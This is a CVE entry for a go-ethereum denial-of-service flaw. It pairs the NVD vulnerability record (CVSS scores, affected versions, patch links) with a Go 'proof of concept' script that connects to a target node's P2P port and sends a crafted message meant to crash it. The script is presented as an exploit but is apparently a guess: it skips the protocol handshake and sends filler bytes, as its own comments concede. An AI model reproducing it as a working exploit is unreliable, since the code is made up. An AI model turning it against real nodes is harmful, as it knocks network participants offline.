CVE-2026-22868

// CVE-2026-22868 PoC - go-ethereum DoS vulnerability // This PoC demonstrates sending a malformed message to trigger node crash package main import ( "bytes" "encoding/binary" "fmt" "net" "time" ) const ( ETH_PROTOCOL = 17 GETH_VERSION = 66 ) func createMalformedMessage() []byte { // Create a malformed eth protocol message // This exploits the vulnerability in message handling var msg bytes.Buffer // Message code for status (0x00) - often processed early msg.WriteByte(0x00) // Create malformed data that triggers the vulnerability // The exact structure depends on the specific vulnerability malformedData := make([]byte, 256) for i := range malformedData { malformedData[i] = 0xFF } // RLP encode the data incorrectly msg.Write(malformedData) return msg.Bytes() } func sendExploit(targetIP string, port int) error { addr := fmt.Sprintf("%s:%d", targetIP, port) conn, err := net.DialTimeout("tcp", addr, 10*time.Second) if err != nil { return fmt.Errorf("connection failed: %v", err) } defer conn.Close() // Perform eth protocol handshake // Then send malformed message msg := createMalformedMessage() // Send the malicious message _, err = conn.Write(msg) if err != nil { return fmt.Errorf("send failed: %v", err) } return nil } func main() { targetIP := "<TARGET_NODE_IP>" port := 30303 // Default P2P port fmt.Printf("Attempting to exploit CVE-2026-22868 on %s:%d\n", targetIP, port) err := sendExploit(targetIP, port) if err != nil { fmt.Printf("Exploit failed: %v\n", err) } else { fmt.Println("Malformed message sent successfully") } } // Note: This is a conceptual PoC. The actual exploit requires // understanding the specific message format and protocol state machine. // Refer to the official security advisory for complete details: // https://github.com/ethereum/go-ethereum/security/advisories/GHSA-mq3p-rrmp-79jg

{"cve": {"id": "CVE-2026-22868", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:54.770", "lastModified": "2026-01-29T18:04:50.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "go-ethereum (geth) is a golang execution layer implementation of the Ethereum protocol. A vulnerable node can be forced to shutdown/crash using a specially crafted message. This vulnerability is fixed in 1.16.8."}, {"lang": "es", "value": "go-ethereum (geth) es una implementación de capa de ejecución de golang del protocolo Ethereum. Un nodo vulnerable puede ser forzado a apagarse/colapsar usando un mensaje especialmente diseñado. Esta vulnerabilidad está corregida en 1.16.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ethereum:go_ethereum:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.16.8", "matchCriteriaId": "02BEA88E-40F5-4CD5-AFF7-549EF1B4CD1F"}]}]}], "references": [{"url": "https://github.com/ethereum/go-ethereum/commit/abeb78c647e354ed922726a1d719ac7bc64a07e2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ethereum/go-ethereum/security/advisories/GHSA-mq3p-rrmp-79jg", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}